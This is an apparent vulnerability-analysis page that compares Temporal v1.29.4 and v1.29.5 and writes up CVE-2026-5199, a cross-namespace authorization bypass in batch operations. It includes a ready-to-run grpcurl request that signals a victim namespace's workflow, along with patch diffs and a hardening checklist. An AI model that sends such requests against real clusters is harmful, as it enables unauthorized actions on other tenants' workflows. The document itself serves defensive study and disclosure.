ANALYSIS · 19d1808b· FINISHED 2026-06-08 · PATCHDIFF

temporalv1.29.4 → v1.29.5✓ COMPLETED

Files12

Vulnerable3

True positives2

CVE matched4

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2026-5199

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 12 CVE 4 Vuln 3

SORT

4 files · page 1/1

common/headers/version_checker.go

No vulnerability

CVE-2026-5199

#%!d(float64=002)

service/worker/batcher/activities.go

AI: 2 vulnerabilities

CVE-2026-5199 2 TP

#%!d(float64=005)

service/worker/batcher/activities_namespace_test.go

AI: 2 vulnerabilities

CVE-2026-5199 2 FP

#%!d(float64=006)

service/worker/batcher/activities_test.go

AI: 1 vulnerabilities

CVE-2026-5199 1 TP

#%!d(float64=007)

1–4 of 4

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2026-5199

Security writeup for CVE-2026-5199

✓ 4 FILES

## The Exploit

Attacker requires a writer role in an attacker-controlled namespace and access to Temporal's batch operation API on a cluster where internal frontend authorization permits cross-namespace actions.

```bash
grpcurl -plaintext \
  -d '{
    "namespaceId":"attacker-namespace-id",
    "request":{
      "namespace":"victim-namespace",
      "operation":{
        "signalOperation":{"signal":"alert"}
      }
    },
    "executions":[{"workflowId":"victim-workflow-id"}]
  }' \
  TARGET:7233 temporal.api.workflowservice.v1.WorkflowService/StartBatchOperation
```

The vulnerable server accepts the request even though `request.namespace` is a different namespace than the one bound to the worker, then executes the signal against the victim workflow. The response is success and the attacker observes the victim workflow receive the signal despite only having writer access in their own namespace.

## What the Patch Did

Before:
```go
func (a *activities) checkNamespaceID(namespaceID string) error {
    if namespaceID != a.namespaceID.String() {
        return errNamespaceMismatch
    }
    return nil
}
...
eventId, err = getResetEventIDByType(ctx, operation.ResetOperation.ResetType, batchOperation.Request.Namespace, execution, frontendClient, logger)
```

After:
```go
func (a *activities) checkNamespaceProtobuf(batchParams *batchspb.BatchOperationInput) error {
    if batchParams.NamespaceId != a.namespaceID.String() {
        return errNamespaceMismatch
    }
    ns := a.namespace.String()
    if req := batchParams.GetRequest(); req != nil && req.GetNamespace() != ns {
        return errNamespaceMismatch
    }
    return nil
}
...
eventId, err = getResetEventIDByType(ctx, operation.ResetOperation.ResetType, namespace, execution, frontendClient, logger)
```

The patch adds an explicit check that the request's namespace name matches the worker's trusted namespace and stops using the attacker-controlled `batchOperation.Request.Namespace` for reset event lookup. This is an authorization control: it prevents an untrusted request field from overriding the worker-bound namespace used for privileged internal calls.

## Root Cause

This was an authorization bypass (CWE-862) caused by inconsistent namespace validation. The exploit path starts with `BatchOperationInput.Request.Namespace` from a victim-controlled `StartBatchOperation` payload. The code already validated `BatchOperationInput.NamespaceId`, but it did not verify that the embedded `Request.Namespace` agreed with the worker's own bound namespace. That attacker-controlled namespace name was later used in internal operations like signaling workflows and reset event lookup, crossing the trust boundary between the user's batch request and the server-trusted worker identity.

## Why It Works

The load-bearing fix is the added `req.GetNamespace() != ns` check inside `checkNamespaceProtobuf`. Without that line, the worker would still accept a batch request where `NamespaceId` matches the worker but `Request.Namespace` is a different namespace, and the worker would continue using the supplied namespace name for internal frontend calls. The preceding `NamespaceId` check and the reset-path replacement with `namespace` are both important secondary protections: one confirms the request targets the worker's namespace ID, and the other prevents reset logic from reading the wrong namespace name from the request object.

## Hardening Checklist

- Compare both namespace ID and namespace name when request objects carry both fields, instead of validating only one.
- Never use request-supplied namespace strings for internal RPC calls such as `SignalWorkflowExecution` or reset event lookups.
- Use server-trusted namespace state (`a.namespace.String()` / worker-bound namespace) as the source of truth for authorization decisions.
- Apply strict authorization or TLS-based identity validation on internal frontend components to avoid trusting worker-local credential scopes.
- Add regression tests for mismatched `BatchOperationInput.NamespaceId` and `StartBatchOperationRequest.Namespace` combinations.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2026-5199

CVE CVE-2026-5199

PRODUCT temporal

AFFECTED ≤ v1.29.4

FIXED IN v1.29.5

STATUS Generated

Security writeup · CVE-2026-5199

Source files · 4

common/headers/version_checker.go Linked

service/worker/batcher/activities.go Linked

service/worker/batcher/activities_namespace_test.go Linked

service/worker/batcher/activities_test.go Linked

↗ NVD